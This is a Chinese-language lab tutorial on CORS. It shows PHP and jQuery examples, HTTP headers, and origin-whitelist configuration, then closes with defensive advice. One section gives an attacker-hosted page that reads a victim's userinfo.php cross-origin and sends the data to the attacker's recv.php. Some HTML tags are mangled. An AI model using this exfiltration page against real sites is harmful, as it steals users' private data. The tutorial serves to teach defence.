202服务器:
$person = array(
"name" => "John Doe",
"age" => 30,
"occupation" => "Developer"
);
$jsonString = json_encode($person);
echo $jsonString;
?>
200服务器
DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="./jquery-3.4.1.min.js">script>
<title>Documenttitle>
<script>
// 跨域请求202服务器
$.get('http://192.168.112.202/cors.php', function(data){
alert(data);
});
script>
head>
<body>body>html>
由200访问202, 发现没有弹窗, 观察浏览器中的请求头
和响应头
:
请求头:
GET /cors.php HTTP/1.1
Host: 192.168.112.202
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://192.168.112.200 # Origin源ip
Connection: keep-alive
Referer: http://192.168.112.200/
Pragma: no-cache
Cache-Control: no-cache
响应头:
HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 02:38:15 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
请求头有: Origin: http://192.168.112.200
观察控制台, 发现跨域错误:
Cross-Origin Request Blocked:
The Same Origin Policy disallows reading the remote resource at http://192.168.112.202/cors.php.
(Reason: CORS header ‘Access-Control-Allow-Origin’ missing). Status code: 200.
重新编辑服务器的php文件, 在php中添加响应头
:
$person = array(
"name" => "John Doe",
"age" => 30,
"occupation" => "Developer"
);
$jsonString = json_encode($person);
// 添加响应头, 设置允许跨域的来源
header("Access-Control-Allow-Origin: *");
// echo $jsonString;
echo $jsonString;
?>
再次请求发现可以顺利跨域并弹窗, 观察浏览器中的响应头
:
HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 02:38:15 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Access-Control-Allow-Origin: * # 服务器返回的响应头
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
多了一条: Access-Control-Allow-Origin: *
, 这说明允许所有的Origin
来源都可以跨域访问.
Access-Control-Allow-Origin: * // 允许所有的Origin源
Access-Control-Allow-Origin: http://192.168.112.200 // 只允许的ip
Access-Control-Allow-0rigin: http://192.168.10.118:8070 // 只允许的ip和端口
Access-Control-Allow-Methods: POST,OPTIONS,GET // 允许的请求方法
Access-Control-Max-Age: 3600 // 生命周期
Access-Control-Allow-Headers: accept,x-requested-with,Content-Type // 允许接收的请求头
Access-Control-Allow-Credentials: true // 是否允许发送cookie
后端php也可以使用数组设置白名单, 允许多个跨域的源:
$list = array('http://192.168.112.201', 'http://192.168.112.203');
// $_SERVER['HTTP_ORIGIN'] 获取请求头的Origin信息
if (in array($_SERVER['HTTP_ORIGIN'], $list)){
header("Access-Control-Allow-Origin:" . $_SERVER['HTTP_ORIGIN']);
echo $jsonString;
}
else{
die("Cross-Site Disallowd");
}
当服务器后端没有对跨域严格限制ip时, 可以通过脚本对目标网站做跨域访问, 例如:
在200攻击者服务器的html中对202目标服务器的 userinfo.php
做跨域访问.
DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="./jquery-3.4.1.min.js">script>
<title>Documenttitle>
<script>
$.get('http://192.168.112.202/userinfo.php', function(data){
//alert(data);
location.href = "http://192.168.112.200/recv.php?value="
+ JSON.stringify(data) + "&referer=" + document.referrer;
});
script>
head>
<body>
body>
html>
当用户点击恶意链接访问200服务器上的html时, 先跨域请求 userinfo.php
获取用户数据 data, 再将 data 发送回200服务器的 recv.php
进行存储.
CORS漏洞主要是由于配置错误而引起的。所以,预防漏洞变成了一个配置问题。
下面介绍了一些针对CORS攻击的有效防御措施.
如果Web资源包合敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源
看起来似平很明显,但是Access-Control-Allow-Origin中指定的来源只能是受信任的站点。
特别是,使用通配符来表示允许的跨域请求的来源而不进行验证很容易被利用,应该避免。
避免使用 Access-Control-Allow-Origin: null
来自内部文档和沙盒请求的跨域资源调用可以指定nul来源。应针对私有和公共服务器的可信来源正确定义CORS头。
避免在内部网络中使用通配符,当内部浏览器可以访问不受信任的外部域时,仅靠信任网络配置来保护内部资源是不够的。
CORS定义了浏览器的行为,绝不能营代服务器端对敏感教据的保护-攻击者可以直接从任何可信来源伪造请求。
因此,除了正确配置的CORS之外,Web服务器还应继续对敏感数据应用保护,例如身份验证和会话管理。